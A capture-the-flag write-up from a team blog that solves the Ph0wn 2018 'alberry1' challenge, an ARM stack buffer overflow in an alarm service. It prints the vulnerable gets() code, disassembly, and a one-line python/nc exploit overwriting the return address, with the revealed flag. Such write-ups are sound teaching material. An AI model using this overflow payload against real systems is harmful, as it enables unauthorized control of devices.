duksctf

Bunch of sec. enthusiasts who sometimes play CTF

Ph0wn 2018 - alberry1

Basic Stack buffer overflow in an arm binary

Description

Our new hardened alarm with a Raspberry Pi (Al Berry) prototype is ready for a first test. This alarm uses a Raspberry Pi and a LCD cap to display useful things in a use friendly form. All the management goes thru a TCP/IP session. You can access to the alarm on IP xxxxxxxxx TCP port 12345.

Your first mission is to check if you can disarm the alarm without knowing the password management. Use the given binary to check the security in depth. Who knows, maybe the developer have done a big mess with the code …

Note:

You can come and see the device at the organizer's desk
This challenge is an ARM exploitation and relies on a Raspberry Pi. No brute-force or SSH tricks is needed to solve it. It is impossible to implement an anti-DOS on a simple RPi board, respect it for the pleasure of all participants.
The flag has the usual format.

sha256 alberry: 0cf316a73ee6e155f1a9703f736beed2c6d3f0a22558cb334cb73f4cbbd6e255

Author: Phil

Details

Category: exploit

Solution

We were given a ELF binary file called alberry1. The main function consist of reading a password to arm or disarm the alarm.

When opening the binary in IDA, a little quirk happend. The function is not showing correctly on the graph view because of the function __aeabi_read_tp that is not returning.

To fix this bug, do a right click on printf function, then untick non returning function. In order to have a nice decompiled view as well, delete the runMain function and recreate it.

oH yeah, sweat, reversing the checkPassword() function led to discover a buffer overflow:

int checkPassword()
{
  int v0; // r0
  int result; // r0
  char v2; // [sp+4h] [bp-18h]

  gets(&v2); // BUFFER OVERFLOW
  v0 = strlen(&v2);
  hash2(&v2, v0, &hashBuffer);
  result = memcmp(&currentPasswd, &hashBuffer, 32);
  if ( !result )
    logged = 1;
  return result;

Looking in IDA pro shows that the buffer overflowed is 0x18 bytes long.

We need to found a way to leak the flag. The flag is read using a function called readFlag(). Inside the main function, there is a snippet that do exactly this:

.text:00011578 70 00 9F E5                             LDR     R0, =aAlarmDisarmed ; jumptable 00011548 case 1
.text:0001157C CC 22 00 EB                             BL      puts
.text:00011580 6C 10 9F E5                             LDR     R1, =flagDisarmed
.text:00011584 6C 00 9F E5                             LDR     R0, =aYourFlagIsS ; "Your flag is: %s\n"
.text:00011588 20 1F 00 EB                             BL      printf

The exploit is as simple as triggering the buffer overflow with 0x18 bytes of junk and the the address 0x011578 we found earlier.

The exploit is:

 python2 -c 'print "A"*24 + "\x78\x15\x01\x00"' | nc 10.210.17.68 12345

############################################
# Welcome to Al Berry interface management #
############################################
#          Your alarm is *ARMED*           #
############################################

Password: 
Alarm disarmed
Your flag is: ph0wn{Enjoy_the_Silence}

Challenges resources are available in the resources folder

Written on December 14, 2018